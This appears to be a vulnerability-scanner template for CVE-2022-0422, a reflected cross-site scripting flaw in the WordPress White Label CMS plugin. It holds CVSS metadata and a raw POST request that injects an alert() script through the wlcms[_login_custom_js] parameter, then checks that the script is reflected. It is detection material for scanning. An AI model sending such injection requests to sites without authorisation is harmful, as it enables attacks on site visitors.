id: CVE-2022-0422

info:
  name: WordPress White Label CMS <2.2.9 - Cross-Site Scripting
  author: random-robbie
  severity: medium
  description: |
    WordPress White Label CMS plugin before 2.2.9 contains a reflected cross-site scripting vulnerability. It does not sanitize and validate the wlcms[_login_custom_js] parameter before outputting it back in the response while previewing.
  reference:
    - https://wpscan.com/vulnerability/429be4eb-8a6b-4531-9465-9ef0d35c12cc
    - https://plugins.trac.wordpress.org/changeset/2672615
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0422
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0422
    cwe-id: CWE-79
    epss-score: 0.00133
    cpe: cpe:2.3:a:videousermanuals:white_label_cms:*:*:*:*:*:wordpress:*:*
    epss-percentile: 0.47722
  metadata:
    max-request: 1
    framework: wordpress
    vendor: videousermanuals
    product: white_label_cms
  tags: cve,cve2022,wordpress,xss,wp-plugin,wpscan

http:
  - raw:
      - |
        POST /wp-login.php?wlcms-action=preview HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        wlcms%5B_login_custom_js%5D=alert%28%2FXSS%2F%29%3B

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(/XSS/);"

      - type: word
        part: body
        words:
          - "wlcms-login-wrapper"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200